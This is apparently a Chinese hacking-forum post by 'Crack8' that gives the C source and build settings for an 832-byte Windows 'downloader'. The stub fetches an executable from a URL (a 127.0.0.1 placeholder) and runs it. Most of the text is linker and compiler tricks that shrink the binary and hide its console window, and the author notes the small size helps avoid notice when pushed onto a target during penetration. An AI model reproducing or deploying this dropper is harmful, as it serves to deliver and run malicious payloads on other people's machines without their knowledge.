VC编译 超级纳米型下载者 仅832字节 连1K都不到 |
|
[原创]VC编译 超级纳米型下载者 仅832字节 连1K都不到
这是几年前写的了 纯属挑战极限 用VC写一个超小的下载者 当时我也录有教程发布 具体自己百度 挖以前的动画教程 如此小的下载者杀软一扫就直接扫到特征了 想用于过杀软就别想了 要是用在没杀软上面 这几年前写的东西可能还有些用处 有人可能说 有啥用? 文件小 1k都不到 明显在传入电脑时 完全不会察觉到 特别是俄罗斯人家现在是按流量记费的 如果你在渗透时 传什么大文件 立马惊动目标 当然本文的重点 并不在这里 这也是几年前的东西 本文只是单纯的研究VC编译的极限
// Crack8 C 下载者 超级纳米型下载者 仅832字节 连1K都不到 // 2010-4-16 #include <UrlMon.h> #include<Shellapi.h> #pragma comment(lib, "Urlmon.lib") Crack8main(){ URLDownloadToFile(0,"http://127.0.0.1/Crack8.exe","E:\\K8.exe",0,NULL); ShellExecute(0,"open","E:\\K8.exe",NULL,NULL,SW_SHOW); }
// 作用: 合并节 // 将.data节和.rdata节合并到.text节(代码节) #pragma comment(linker, "/merge:.data=.text") //合并节也能减少体积 可往 :2 那里 /merge:.data=.text #pragma comment(linker, "/merge:.rdata=.text")
:2 工程 设置 连接 工程选项里的内容 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /entry:"Crack8main" /subsystem:windows /incremental:no /pdb:"Release/k8.pdb" /machine:I386 /out:"Release/K8download.exe" /align:16
一,使用release版而不用debug版编译
使用debug版编译会生成许多垃圾信息.我们先使用默认的设置进行一下编译. 可以看到编译后生成的文件有152k之巨.使用release版编译具体方法是: 在"build(编译)--->Configuration(配置)"中将"Win32 debug"移去, 然后再次编译可以发现文件已经小了很多,才24k.但离我们的目标还很远呢.
还要点移除工程配置里的 "Win32 debug" 上面是别人发现的 这是Crack8发现的
二,设置自己的入口点函数
C或C++程序默认的入口函数是main()或WinMain(),但我们现在不用什么Main,WinMain. 因为这些都不是直接的入口点,编译器在产生exe文件的时候,将为我们生成真正的入口点. 下面我们来定义自己的入口函数,具体是把main或WinMain改成其它的名字(如Crack8main), 打开"Project(工程)--->settings(设置)"选项,选中"link"选项卡,在"Category(分类)" 下拉列表中选"output",在" Entry-Point symbol(输入项-点符号)"中输入我们刚才定义的 入口函数(Crack8main),在源程序中也要做相应修改,然后再编译.现在是16k了:)
大家注意到程序运行时会产生一个cmd窗口,要让他没有就好了.这也好办.
回到VC++中,在"Project(工程)--->settings(设置)"选项,选中"link"选项卡, 在下面的"Project options(工程选项)"有/subsystem:console选项,表示程序是控制台程序, 双击运行是会有一个cmd窗口,把console改为windows就没有窗口了.:),运行一下 没有窗口哦 但有进程 连接一下试试
3 编译老是出错 请点一下 执行 *.exe 或者CTRL+F5
4 如果提示没找到文件 请先结束K8。EXE进程
5 在工程 设置中 选C/C++ 优化 选大小最小 后K8下载者才832字节
让他再小N倍 通常VC在编译的时候,采用的对齐方式是0x1000,即4096bytes,我们现在将他改成0x200,即512bytes.
在刚才打开的"link"选项卡,在下面的"Project options(工程选项)"中添加:/align:16(还可以将512设
置的更小如16,32.....) 这里只能是16以上的倍数
|
|
|
|
|
|
|
|
|
|
|
|
TEL:010-82561037
Fax: 010-82561614
QQ: 100164630
Mail:gaojian@comprg.com.cn
|
|
|
|
|
|